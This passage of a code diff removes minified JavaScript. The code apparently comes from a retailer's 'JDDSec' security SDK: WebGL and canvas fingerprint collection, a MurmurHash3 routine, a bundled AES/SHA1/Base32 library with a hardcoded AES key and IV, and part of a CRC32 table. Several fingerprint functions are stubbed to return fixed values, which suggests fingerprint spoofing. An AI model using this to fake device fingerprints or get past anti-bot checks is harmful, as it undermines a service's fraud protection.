this.getWebglCanvas(); - if (!b) return null; - var c = [], - l = b.createBuffer(); - b.bindBuffer(b.ARRAY_BUFFER, l); - var h = new Float32Array([ - -0.2, -0.9, 0, 0.4, -0.26, 0, 0, 0.732134444, 0, - ]); - b.bufferData(b.ARRAY_BUFFER, h, b.STATIC_DRAW); - l.itemSize = 3; - l.numItems = 3; - h = b.createProgram(); - var q = b.createShader(b.VERTEX_SHADER); - b.shaderSource( - q, - "attribute vec2 attrVertex;varying vec2 varyinTexCoordinate;uniform vec2 uniformOffset;void main(){varyinTexCoordinate=attrVertex+uniformOffset;gl_Position=vec4(attrVertex,0,1);}" - ); - b.compileShader(q); - var z = b.createShader(b.FRAGMENT_SHADER); - b.shaderSource( - z, - "precision mediump float;varying vec2 varyinTexCoordinate;void main() {gl_FragColor=vec4(varyinTexCoordinate,0,1);}" - ); - b.compileShader(z); - b.attachShader(h, q); - b.attachShader(h, z); - b.linkProgram(h); - b.useProgram(h); - h.vertexPosAttrib = b.getAttribLocation(h, "attrVertex"); - h.offsetUniform = b.getUniformLocation(h, "uniformOffset"); - b.enableVertexAttribArray(h.vertexPosArray); - b.vertexAttribPointer(h.vertexPosAttrib, l.itemSize, b.FLOAT, !1, 0, 0); - b.uniform2f(h.offsetUniform, 1, 1); - b.drawArrays(b.TRIANGLE_STRIP, 0, l.numItems); - null != b.canvas && c.push(b.canvas.toDataURL()); - c.push("extensions:" + b.getSupportedExtensions().join(";")); - c.push("extensions:" + b.getSupportedExtensions().join(";")); - c.push("w1" + a(b.getParameter(b.ALIASED_LINE_WIDTH_RANGE))); - c.push("w2" + a(b.getParameter(b.ALIASED_POINT_SIZE_RANGE))); - c.push("w3" + b.getParameter(b.ALPHA_BITS)); - c.push("w4" + (b.getContextAttributes().antialias ? "yes" : "no")); - c.push("w5" + b.getParameter(b.BLUE_BITS)); - c.push("w6" + b.getParameter(b.DEPTH_BITS)); - c.push("w7" + b.getParameter(b.GREEN_BITS)); - c.push( - "w8" + - (function (D) { - var B, - F = - D.getExtension("EXT_texture_filter_anisotropic") || - D.getExtension("WEBKIT_EXT_texture_filter_anisotropic") || - D.getExtension("MOZ_EXT_texture_filter_anisotropic"); - return F - ? ((B = D.getParameter(F.MAX_TEXTURE_MAX_ANISOTROPY_EXT)), - 0 === B && (B = 2), - B) - : null; - })(b) - ); - c.push("w9" + b.getParameter(b.MAX_COMBINED_TEXTURE_IMAGE_UNITS)); - c.push("w10" + b.getParameter(b.MAX_CUBE_MAP_TEXTURE_SIZE)); - c.push("w11" + b.getParameter(b.MAX_FRAGMENT_UNIFORM_VECTORS)); - c.push("w12" + b.getParameter(b.MAX_RENDERBUFFER_SIZE)); - c.push("w13" + b.getParameter(b.MAX_TEXTURE_IMAGE_UNITS)); - c.push("w14" + b.getParameter(b.MAX_TEXTURE_SIZE)); - c.push("w15" + b.getParameter(b.MAX_VARYING_VECTORS)); - c.push("w16" + b.getParameter(b.MAX_VERTEX_ATTRIBS)); - c.push("w17" + b.getParameter(b.MAX_VERTEX_TEXTURE_IMAGE_UNITS)); - c.push("w18" + b.getParameter(b.MAX_VERTEX_UNIFORM_VECTORS)); - c.push("w19" + a(b.getParameter(b.MAX_VIEWPORT_DIMS))); - c.push("w20" + b.getParameter(b.RED_BITS)); - c.push("w21" + b.getParameter(b.RENDERER)); - c.push("w22" + b.getParameter(b.SHADING_LANGUAGE_VERSION)); - c.push("w23" + b.getParameter(b.STENCIL_BITS)); - c.push("w24" + b.getParameter(b.VENDOR)); - c.push("w25" + b.getParameter(b.VERSION)); - try { - var C = b.getExtension("WEBGL_debug_renderer_info"); - C && - (c.push("wuv:" + b.getParameter(C.UNMASKED_VENDOR_WEBGL)), - c.push("wur:" + b.getParameter(C.UNMASKED_RENDERER_WEBGL))); - } catch (D) {} - return c.join("\u00a7"); - }, - isCanvasSupported: function () { - return true; - var a = document.createElement("canvas"); - return !(!a.getContext || !a.getContext("2d")); - }, - isIE: function () { - return "Microsoft Internet Explorer" === navigator.appName || - ("Netscape" === navigator.appName && - /Trident/.test(navigator.userAgent)) - ? !0 - : !1; - }, - getWebglCanvas: function () { - return null; - var a = document.createElement("canvas"), - b = null; - try { - var c = navigator.userAgent; - c = c.toLowerCase(); - ((0 < c.indexOf("jdjr-app") || 0 <= c.indexOf("jdapp")) && - (0 < c.indexOf("iphone") || 0 < c.indexOf("ipad"))) || - (b = a.getContext("webgl") || a.getContext("experimental-webgl")); - } catch (l) {} - b || (b = null); - return b; - }, - each: function (a, b, c) { - if (null !== a) - if (this.nativeForEach && a.forEach === this.nativeForEach) - a.forEach(b, c); - else if (a.length === +a.length) - for ( - var l = 0, h = a.length; - l < h && b.call(c, a[l], l, a) !== {}; - l++ - ); - else - for (l in a) - if (a.hasOwnProperty(l) && b.call(c, a[l], l, a) === {}) break; - }, - map: function (a, b, c) { - var l = []; - if (null == a) return l; - if (this.nativeMap && a.map === this.nativeMap) return a.map(b, c); - this.each(a, function (h, q, z) { - l[l.length] = b.call(c, h, q, z); - }); - return l; - }, - x64Add: function (a, b) { - a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; - b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; - var c = [0, 0, 0, 0]; - c[3] += a[3] + b[3]; - c[2] += c[3] >>> 16; - c[3] &= 65535; - c[2] += a[2] + b[2]; - c[1] += c[2] >>> 16; - c[2] &= 65535; - c[1] += a[1] + b[1]; - c[0] += c[1] >>> 16; - c[1] &= 65535; - c[0] += a[0] + b[0]; - c[0] &= 65535; - return [(c[0] << 16) | c[1], (c[2] << 16) | c[3]]; - }, - x64Multiply: function (a, b) { - a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; - b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; - var c = [0, 0, 0, 0]; - c[3] += a[3] * b[3]; - c[2] += c[3] >>> 16; - c[3] &= 65535; - c[2] += a[2] * b[3]; - c[1] += c[2] >>> 16; - c[2] &= 65535; - c[2] += a[3] * b[2]; - c[1] += c[2] >>> 16; - c[2] &= 65535; - c[1] += a[1] * b[3]; - c[0] += c[1] >>> 16; - c[1] &= 65535; - c[1] += a[2] * b[2]; - c[0] += c[1] >>> 16; - c[1] &= 65535; - c[1] += a[3] * b[1]; - c[0] += c[1] >>> 16; - c[1] &= 65535; - c[0] += a[0] * b[3] + a[1] * b[2] + a[2] * b[1] + a[3] * b[0]; - c[0] &= 65535; - return [(c[0] << 16) | c[1], (c[2] << 16) | c[3]]; - }, - x64Rotl: function (a, b) { - b %= 64; - if (32 === b) return [a[1], a[0]]; - if (32 > b) - return [ - (a[0] << b) | (a[1] >>> (32 - b)), - (a[1] << b) | (a[0] >>> (32 - b)), - ]; - b -= 32; - return [ - (a[1] << b) | (a[0] >>> (32 - b)), - (a[0] << b) | (a[1] >>> (32 - b)), - ]; - }, - x64LeftShift: function (a, b) { - b %= 64; - return 0 === b - ? a - : 32 > b - ? [(a[0] << b) | (a[1] >>> (32 - b)), a[1] << b] - : [a[1] << (b - 32), 0]; - }, - x64Xor: function (a, b) { - return [a[0] ^ b[0], a[1] ^ b[1]]; - }, - x64Fmix: function (a) { - a = this.x64Xor(a, [0, a[0] >>> 1]); - a = this.x64Multiply(a, [4283543511, 3981806797]); - a = this.x64Xor(a, [0, a[0] >>> 1]); - a = this.x64Multiply(a, [3301882366, 444984403]); - return (a = this.x64Xor(a, [0, a[0] >>> 1])); - }, - x64hash128: function (a, b) { - a = a || ""; - b = b || 0; - var c = a.length % 16, - l = a.length - c, - h = [0, b]; - b = [0, b]; - for ( - var q, - z, - C = [2277735313, 289559509], - D = [1291169091, 658871167], - B = 0; - B < l; - B += 16 - ) - (q = [ - (a.charCodeAt(B + 4) & 255) | - ((a.charCodeAt(B + 5) & 255) << 8) | - ((a.charCodeAt(B + 6) & 255) << 16) | - ((a.charCodeAt(B + 7) & 255) << 24), - (a.charCodeAt(B) & 255) | - ((a.charCodeAt(B + 1) & 255) << 8) | - ((a.charCodeAt(B + 2) & 255) << 16) | - ((a.charCodeAt(B + 3) & 255) << 24), - ]), - (z = [ - (a.charCodeAt(B + 12) & 255) | - ((a.charCodeAt(B + 13) & 255) << 8) | - ((a.charCodeAt(B + 14) & 255) << 16) | - ((a.charCodeAt(B + 15) & 255) << 24), - (a.charCodeAt(B + 8) & 255) | - ((a.charCodeAt(B + 9) & 255) << 8) | - ((a.charCodeAt(B + 10) & 255) << 16) | - ((a.charCodeAt(B + 11) & 255) << 24), - ]), - (q = this.x64Multiply(q, C)), - (q = this.x64Rotl(q, 31)), - (q = this.x64Multiply(q, D)), - (h = this.x64Xor(h, q)), - (h = this.x64Rotl(h, 27)), - (h = this.x64Add(h, b)), - (h = this.x64Add(this.x64Multiply(h, [0, 5]), [0, 1390208809])), - (z = this.x64Multiply(z, D)), - (z = this.x64Rotl(z, 33)), - (z = this.x64Multiply(z, C)), - (b = this.x64Xor(b, z)), - (b = this.x64Rotl(b, 31)), - (b = this.x64Add(b, h)), - (b = this.x64Add(this.x64Multiply(b, [0, 5]), [0, 944331445])); - q = [0, 0]; - z = [0, 0]; - switch (c) { - case 15: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 14)], 48)); - case 14: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 13)], 40)); - case 13: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 12)], 32)); - case 12: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 11)], 24)); - case 11: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 10)], 16)); - case 10: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 9)], 8)); - case 9: - (z = this.x64Xor(z, [0, a.charCodeAt(B + 8)])), - (z = this.x64Multiply(z, D)), - (z = this.x64Rotl(z, 33)), - (z = this.x64Multiply(z, C)), - (b = this.x64Xor(b, z)); - case 8: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 7)], 56)); - case 7: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 6)], 48)); - case 6: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 5)], 40)); - case 5: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 4)], 32)); - case 4: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 3)], 24)); - case 3: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 2)], 16)); - case 2: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 1)], 8)); - case 1: - (q = this.x64Xor(q, [0, a.charCodeAt(B)])), - (q = this.x64Multiply(q, C)), - (q = this.x64Rotl(q, 31)), - (q = this.x64Multiply(q, D)), - (h = this.x64Xor(h, q)); - } - h = this.x64Xor(h, [0, a.length]); - b = this.x64Xor(b, [0, a.length]); - h = this.x64Add(h, b); - b = this.x64Add(b, h); - h = this.x64Fmix(h); - b = this.x64Fmix(b); - h = this.x64Add(h, b); - b = this.x64Add(b, h); - return ( - ("00000000" + (h[0] >>> 0).toString(16)).slice(-8) + - ("00000000" + (h[1] >>> 0).toString(16)).slice(-8) + - ("00000000" + (b[0] >>> 0).toString(16)).slice(-8) + - ("00000000" + (b[1] >>> 0).toString(16)).slice(-8) - ); - }, - }; -} - -var JDDSecCryptoJS = - JDDSecCryptoJS || - (function (t, u) { - var v = {}, - x = (v.lib = {}), - w = (x.Base = (function () { - function g() {} - - return { - extend: function (m) { - g.prototype = this; - var a = new g(); - m && a.mixIn(m); - a.hasOwnProperty("init") || - (a.init = function () { - a.$super.init.apply(this, arguments); - }); - a.init.prototype = a; - a.$super = this; - return a; - }, - create: function () { - var m = this.extend(); - m.init.apply(m, arguments); - return m; - }, - init: function () {}, - mixIn: function (m) { - for (var a in m) m.hasOwnProperty(a) && (this[a] = m[a]); - m.hasOwnProperty("toString") && (this.toString = m.toString); - }, - clone: function () { - return this.init.prototype.extend(this); - }, - }; - })()), - A = (x.WordArray = w.extend({ - init: function (g, m) { - g = this.words = g || []; - this.sigBytes = m != u ? m : 4 * g.length; - }, - toString: function (g) { - return (g || n).stringify(this); - }, - concat: function (g) { - var m = this.words, - a = g.words, - b = this.sigBytes; - g = g.sigBytes; - this.clamp(); - if (b % 4) - for (var c = 0; c < g; c++) - m[(b + c) >>> 2] |= - ((a[c >>> 2] >>> (24 - (c % 4) * 8)) & 255) << - (24 - ((b + c) % 4) * 8); - else if (65535 < a.length) - for (c = 0; c < g; c += 4) m[(b + c) >>> 2] = a[c >>> 2]; - else m.push.apply(m, a); - this.sigBytes += g; - return this; - }, - clamp: function () { - var g = this.words, - m = this.sigBytes; - g[m >>> 2] &= 4294967295 << (32 - (m % 4) * 8); - g.length = t.ceil(m / 4); - }, - clone: function () { - var g = w.clone.call(this); - g.words = this.words.slice(0); - return g; - }, - random: function (g) { - for (var m = [], a = 0; a < g; a += 4) - m.push((4294967296 * t.random()) | 0); - return new A.init(m, g); - }, - })); - x.UUID = w.extend({ - generateUuid: function () { - for ( - var g = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".split(""), - m = 0, - a = g.length; - m < a; - m++ - ) - switch (g[m]) { - case "x": - g[m] = t.floor(16 * t.random()).toString(16); - break; - case "y": - g[m] = (t.floor(4 * t.random()) + 8).toString(16); - } - return g.join(""); - }, - }); - var y = (v.enc = {}), - n = (y.Hex = { - stringify: function (g) { - var m = g.words; - g = g.sigBytes; - var a = []; - for (var b = 0; b < g; b++) { - var c = (m[b >>> 2] >>> (24 - (b % 4) * 8)) & 255; - a.push((c >>> 4).toString(16)); - a.push((c & 15).toString(16)); - } - return a.join(""); - }, - parse: function (g) { - for (var m = g.length, a = [], b = 0; b < m; b += 2) - a[b >>> 3] |= parseInt(g.substr(b, 2), 16) << (24 - (b % 8) * 4); - return new A.init(a, m / 2); - }, - }), - e = (y.Latin1 = { - stringify: function (g) { - var m = g.words; - g = g.sigBytes; - for (var a = [], b = 0; b < g; b++) - a.push( - String.fromCharCode((m[b >>> 2] >>> (24 - (b % 4) * 8)) & 255) - ); - return a.join(""); - }, - parse: function (g) { - for (var m = g.length, a = [], b = 0; b < m; b++) - a[b >>> 2] |= (g.charCodeAt(b) & 255) << (24 - (b % 4) * 8); - return new A.init(a, m); - }, - }), - f = (y.Utf8 = { - stringify: function (g) { - try { - return decodeURIComponent(escape(e.stringify(g))); - } catch (m) { - throw Error("Malformed UTF-8 data"); - } - }, - parse: function (g) { - return e.parse(unescape(encodeURIComponent(g))); - }, - }), - r = (x.BufferedBlockAlgorithm = w.extend({ - reset: function () { - this._data = new A.init(); - this._nDataBytes = 0; - }, - _append: function (g) { - "string" == typeof g && (g = f.parse(g)); - this._data.concat(g); - this._nDataBytes += g.sigBytes; - }, - _process: function (g) { - var m = this._data, - a = m.words, - b = m.sigBytes, - c = this.blockSize, - l = b / (4 * c); - l = g ? t.ceil(l) : t.max((l | 0) - this._minBufferSize, 0); - g = l * c; - b = t.min(4 * g, b); - if (g) { - for (var h = 0; h < g; h += c) this._doProcessBlock(a, h); - h = a.splice(0, g); - m.sigBytes -= b; - } - return new A.init(h, b); - }, - clone: function () { - var g = w.clone.call(this); - g._data = this._data.clone(); - return g; - }, - _minBufferSize: 0, - })); - x.Hasher = r.extend({ - cfg: w.extend(), - init: function (g) { - this.cfg = this.cfg.extend(g); - this.reset(); - }, - reset: function () { - r.reset.call(this); - this._doReset(); - }, - update: function (g) { - this._append(g); - this._process(); - return this; - }, - finalize: function (g) { - g && this._append(g); - return this._doFinalize(); - }, - blockSize: 16, - _createHelper: function (g) { - return function (m, a) { - return new g.init(a).finalize(m); - }; - }, - _createHmacHelper: function (g) { - return function (m, a) { - return new k.HMAC.init(g, a).finalize(m); - }; - }, - }); - var k = (v.algo = {}); - v.channel = {}; - return v; - })(Math); -JDDSecCryptoJS.lib.Cipher || - (function (t) { - var u = JDDSecCryptoJS, - v = u.lib, - x = v.Base, - w = v.WordArray, - A = v.BufferedBlockAlgorithm, - y = (v.Cipher = A.extend({ - cfg: x.extend(), - createEncryptor: function (g, m) { - return this.create(this._ENC_XFORM_MODE, g, m); - }, - createDecryptor: function (g, m) { - return this.create(this._DEC_XFORM_MODE, g, m); - }, - init: function (g, m, a) { - this.cfg = this.cfg.extend(a); - this._xformMode = g; - this._key = m; - this.reset(); - }, - reset: function () { - A.reset.call(this); - this._doReset(); - }, - process: function (g) { - this._append(g); - return this._process(); - }, - finalize: function (g) { - g && this._append(g); - return this._doFinalize(); - }, - keySize: 4, - ivSize: 4, - _ENC_XFORM_MODE: 1, - _DEC_XFORM_MODE: 2, - _createHelper: (function () { - function g(m) { - if ("string" != typeof m) return k; - } - - return function (m) { - return { - encrypt: function (a, b, c) { - return g(b).encrypt(m, a, b, c); - }, - decrypt: function (a, b, c) { - return g(b).decrypt(m, a, b, c); - }, - }; - }; - })(), - })); - v.StreamCipher = y.extend({ - _doFinalize: function () { - return this._process(!0); - }, - blockSize: 1, - }); - var n = (u.mode = {}), - e = (v.BlockCipherMode = x.extend({ - createEncryptor: function (g, m) { - return this.Encryptor.create(g, m); - }, - createDecryptor: function (g, m) { - return this.Decryptor.create(g, m); - }, - init: function (g, m) { - this._cipher = g; - this._iv = m; - }, - })); - n = n.CBC = (function () { - function g(a, b, c) { - var l = this._iv; - l ? (this._iv = t) : (l = this._prevBlock); - for (var h = 0; h < c; h++) a[b + h] ^= l[h]; - } - - var m = e.extend(); - m.Encryptor = m.extend({ - processBlock: function (a, b) { - var c = this._cipher, - l = c.blockSize; - g.call(this, a, b, l); - c.encryptBlock(a, b); - this._prevBlock = a.slice(b, b + l); - }, - }); - m.Decryptor = m.extend({ - processBlock: function (a, b) { - var c = this._cipher, - l = c.blockSize, - h = a.slice(b, b + l); - c.decryptBlock(a, b); - g.call(this, a, b, l); - this._prevBlock = h; - }, - }); - return m; - })(); - var f = ((u.pad = {}).Pkcs7 = { - pad: function (g, m) { - m *= 4; - m -= g.sigBytes % m; - for ( - var a = (m << 24) | (m << 16) | (m << 8) | m, b = [], c = 0; - c < m; - c += 4 - ) - b.push(a); - m = w.create(b, m); - g.concat(m); - }, - unpad: function (g) { - g.sigBytes -= g.words[(g.sigBytes - 1) >>> 2] & 255; - }, - }); - v.BlockCipher = y.extend({ - cfg: y.cfg.extend({ - mode: n, - padding: f, - }), - reset: function () { - y.reset.call(this); - var g = this.cfg, - m = g.iv; - g = g.mode; - if (this._xformMode == this._ENC_XFORM_MODE) var a = g.createEncryptor; - else (a = g.createDecryptor), (this._minBufferSize = 1); - this._mode = a.call(g, this, m && m.words); - }, - _doProcessBlock: function (g, m) { - this._mode.processBlock(g, m); - }, - _doFinalize: function () { - var g = this.cfg.padding; - if (this._xformMode == this._ENC_XFORM_MODE) { - g.pad(this._data, this.blockSize); - var m = this._process(!0); - } else (m = this._process(!0)), g.unpad(m); - return m; - }, - blockSize: 4, - }); - var r = (v.CipherParams = x.extend({ - init: function (g) { - this.mixIn(g); - }, - toString: function (g) { - return (g || this.formatter).stringify(this); - }, - })); - u.format = {}; - var k = (v.SerializableCipher = x.extend({ - cfg: x.extend({}), - encrypt: function (g, m, a, b) { - b = this.cfg.extend(b); - var c = g.createEncryptor(a, b); - m = c.finalize(m); - c = c.cfg; - return r.create({ - ciphertext: m, - key: a, - iv: c.iv, - algorithm: g, - mode: c.mode, - padding: c.padding, - blockSize: g.blockSize, - formatter: b.format, - }); - }, - decrypt: function (g, m, a, b) { - b = this.cfg.extend(b); - m = this._parse(m, b.format); - return g.createDecryptor(a, b).finalize(m.ciphertext); - }, - _parse: function (g, m) { - return "string" == typeof g ? m.parse(g, this) : g; - }, - })); - })(); -(function () { - var t = JDDSecCryptoJS, - u = t.lib.BlockCipher, - v = t.algo, - x = [], - w = [], - A = [], - y = [], - n = [], - e = [], - f = [], - r = [], - k = [], - g = []; - (function () { - for (var a = [], b = 0; 256 > b; b++) - a[b] = 128 > b ? b << 1 : (b << 1) ^ 283; - var c = 0, - l = 0; - for (b = 0; 256 > b; b++) { - var h = l ^ (l << 1) ^ (l << 2) ^ (l << 3) ^ (l << 4); - h = (h >>> 8) ^ (h & 255) ^ 99; - x[c] = h; - w[h] = c; - var q = a[c], - z = a[q], - C = a[z], - D = (257 * a[h]) ^ (16843008 * h); - A[c] = (D << 24) | (D >>> 8); - y[c] = (D << 16) | (D >>> 16); - n[c] = (D << 8) | (D >>> 24); - e[c] = D; - D = (16843009 * C) ^ (65537 * z) ^ (257 * q) ^ (16843008 * c); - f[h] = (D << 24) | (D >>> 8); - r[h] = (D << 16) | (D >>> 16); - k[h] = (D << 8) | (D >>> 24); - g[h] = D; - c ? ((c = q ^ a[a[a[C ^ q]]]), (l ^= a[a[l]])) : (c = l = 1); - } - })(); - var m = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54]; - v = v.AES = u.extend({ - _doReset: function () { - var a = this._key, - b = a.words, - c = a.sigBytes / 4; - a = 4 * ((this._nRounds = c + 6) + 1); - for (var l = (this._keySchedule = []), h = 0; h < a; h++) - if (h < c) l[h] = b[h]; - else { - var q = l[h - 1]; - h % c - ? 6 < c && - 4 == h % c && - (q = - (x[q >>> 24] << 24) | - (x[(q >>> 16) & 255] << 16) | - (x[(q >>> 8) & 255] << 8) | - x[q & 255]) - : ((q = (q << 8) | (q >>> 24)), - (q = - (x[q >>> 24] << 24) | - (x[(q >>> 16) & 255] << 16) | - (x[(q >>> 8) & 255] << 8) | - x[q & 255]), - (q ^= m[(h / c) | 0] << 24)); - l[h] = l[h - c] ^ q; - } - b = this._invKeySchedule = []; - for (c = 0; c < a; c++) - (h = a - c), - (q = c % 4 ? l[h] : l[h - 4]), - (b[c] = - 4 > c || 4 >= h - ? q - : f[x[q >>> 24]] ^ - r[x[(q >>> 16) & 255]] ^ - k[x[(q >>> 8) & 255]] ^ - g[x[q & 255]]); - }, - encryptBlock: function (a, b) { - this._doCryptBlock(a, b, this._keySchedule, A, y, n, e, x); - }, - decryptBlock: function (a, b) { - var c = a[b + 1]; - a[b + 1] = a[b + 3]; - a[b + 3] = c; - this._doCryptBlock(a, b, this._invKeySchedule, f, r, k, g, w); - c = a[b + 1]; - a[b + 1] = a[b + 3]; - a[b + 3] = c; - }, - _doCryptBlock: function (a, b, c, l, h, q, z, C) { - for ( - var D = this._nRounds, - B = a[b] ^ c[0], - F = a[b + 1] ^ c[1], - H = a[b + 2] ^ c[2], - G = a[b + 3] ^ c[3], - I = 4, - M = 1; - M < D; - M++ - ) { - var J = - l[B >>> 24] ^ - h[(F >>> 16) & 255] ^ - q[(H >>> 8) & 255] ^ - z[G & 255] ^ - c[I++], - K = - l[F >>> 24] ^ - h[(H >>> 16) & 255] ^ - q[(G >>> 8) & 255] ^ - z[B & 255] ^ - c[I++], - L = - l[H >>> 24] ^ - h[(G >>> 16) & 255] ^ - q[(B >>> 8) & 255] ^ - z[F & 255] ^ - c[I++]; - G = - l[G >>> 24] ^ - h[(B >>> 16) & 255] ^ - q[(F >>> 8) & 255] ^ - z[H & 255] ^ - c[I++]; - B = J; - F = K; - H = L; - } - J = - ((C[B >>> 24] << 24) | - (C[(F >>> 16) & 255] << 16) | - (C[(H >>> 8) & 255] << 8) | - C[G & 255]) ^ - c[I++]; - K = - ((C[F >>> 24] << 24) | - (C[(H >>> 16) & 255] << 16) | - (C[(G >>> 8) & 255] << 8) | - C[B & 255]) ^ - c[I++]; - L = - ((C[H >>> 24] << 24) | - (C[(G >>> 16) & 255] << 16) | - (C[(B >>> 8) & 255] << 8) | - C[F & 255]) ^ - c[I++]; - G = - ((C[G >>> 24] << 24) | - (C[(B >>> 16) & 255] << 16) | - (C[(F >>> 8) & 255] << 8) | - C[H & 255]) ^ - c[I++]; - a[b] = J; - a[b + 1] = K; - a[b + 2] = L; - a[b + 3] = G; - }, - keySize: 8, - }); - t.AES = u._createHelper(v); -})(); - -(function () { - var t = JDDSecCryptoJS, - u = t.lib, - v = u.WordArray, - x = u.Hasher, - w = []; - u = t.algo.SHA1 = x.extend({ - _doReset: function () { - this._hash = new v.init([ - 1732584193, 4023233417, 2562383102, 271733878, 3285377520, - ]); - }, - _doProcessBlock: function (A, y) { - for ( - var n = this._hash.words, - e = n[0], - f = n[1], - r = n[2], - k = n[3], - g = n[4], - m = 0; - 80 > m; - m++ - ) { - if (16 > m) w[m] = A[y + m] | 0; - else { - var a = w[m - 3] ^ w[m - 8] ^ w[m - 14] ^ w[m - 16]; - w[m] = (a << 1) | (a >>> 31); - } - a = ((e << 5) | (e >>> 27)) + g + w[m]; - a = - 20 > m - ? a + (((f & r) | (~f & k)) + 1518500249) - : 40 > m - ? a + ((f ^ r ^ k) + 1859775393) - : 60 > m - ? a + (((f & r) | (f & k) | (r & k)) - 1894007588) - : a + ((f ^ r ^ k) - 899497514); - g = k; - k = r; - r = (f << 30) | (f >>> 2); - f = e; - e = a; - } - n[0] = (n[0] + e) | 0; - n[1] = (n[1] + f) | 0; - n[2] = (n[2] + r) | 0; - n[3] = (n[3] + k) | 0; - n[4] = (n[4] + g) | 0; - }, - _doFinalize: function () { - var A = this._data, - y = A.words, - n = 8 * this._nDataBytes, - e = 8 * A.sigBytes; - y[e >>> 5] |= 128 << (24 - (e % 32)); - y[(((e + 64) >>> 9) << 4) + 14] = Math.floor(n / 4294967296); - y[(((e + 64) >>> 9) << 4) + 15] = n; - A.sigBytes = 4 * y.length; - this._process(); - return this._hash; - }, - clone: function () { - var A = x.clone.call(this); - A._hash = this._hash.clone(); - return A; - }, - }); - t.SHA1 = x._createHelper(u); - t.HmacSHA1 = x._createHmacHelper(u); -})(); - -(function () { - var t = JDDSecCryptoJS, - u = t.channel; - u.Downlink = { - deBase32: function (v) { - if (void 0 == v || "" == v || null == v) return ""; - var x = t.enc.Hex.parse("30313233343536373839616263646566"), - w = t.enc.Hex.parse("724e5428476f307361374d3233784a6c"); - return t.AES.decrypt( - { - ciphertext: t.enc.Base32.parse(v), - }, - w, - { - mode: t.mode.CBC, - padding: t.pad.Pkcs7, - iv: x, - } - ).toString(t.enc.Utf8); - }, - deBase64: function (v) { - return ""; - }, - }; - u.Uplink = { - enAsBase32: function (v) { - return ""; - }, - enAsBase64: function (v) { - return ""; - }, - }; -})(); - -(function () { - var t = JDDSecCryptoJS, - u = t.lib.WordArray; - t.enc.Base32 = { - stringify: function (v) { - var x = v.words, - w = v.sigBytes, - A = this._map; - v.clamp(); - v = []; - for (var y = 0; y < w; y += 5) { - for (var n = [], e = 0; 5 > e; e++) - n[e] = (x[(y + e) >>> 2] >>> (24 - ((y + e) % 4) * 8)) & 255; - n = [ - (n[0] >>> 3) & 31, - ((n[0] & 7) << 2) | ((n[1] >>> 6) & 3), - (n[1] >>> 1) & 31, - ((n[1] & 1) << 4) | ((n[2] >>> 4) & 15), - ((n[2] & 15) << 1) | ((n[3] >>> 7) & 1), - (n[3] >>> 2) & 31, - ((n[3] & 3) << 3) | ((n[4] >>> 5) & 7), - n[4] & 31, - ]; - for (e = 0; 8 > e && y + 0.625 * e < w; e++) v.push(A.charAt(n[e])); - } - if ((x = A.charAt(32))) for (; v.length % 8; ) v.push(x); - return v.join(""); - }, - parse: function (v) { - var x = v.length, - w = this._map, - A = w.charAt(32); - A && ((A = v.indexOf(A)), -1 != A && (x = A)); - A = []; - for (var y = 0, n = 0; n < x; n++) { - var e = n % 8; - if (0 != e && 2 != e && 5 != e) { - var f = 255 & (w.indexOf(v.charAt(n - 1)) << (40 - 5 * e) % 8), - r = 255 & (w.indexOf(v.charAt(n)) >>> (5 * e - 3) % 8); - e = - e % 3 ? 0 : 255 & (w.indexOf(v.charAt(n - 2)) << (3 == e ? 6 : 7)); - A[y >>> 2] |= (f | r | e) << (24 - (y % 4) * 8); - y++; - } - } - return u.create(A, y); - }, - _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567", - }; -})(); - -class JDDMAC { - static t() { - return "00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 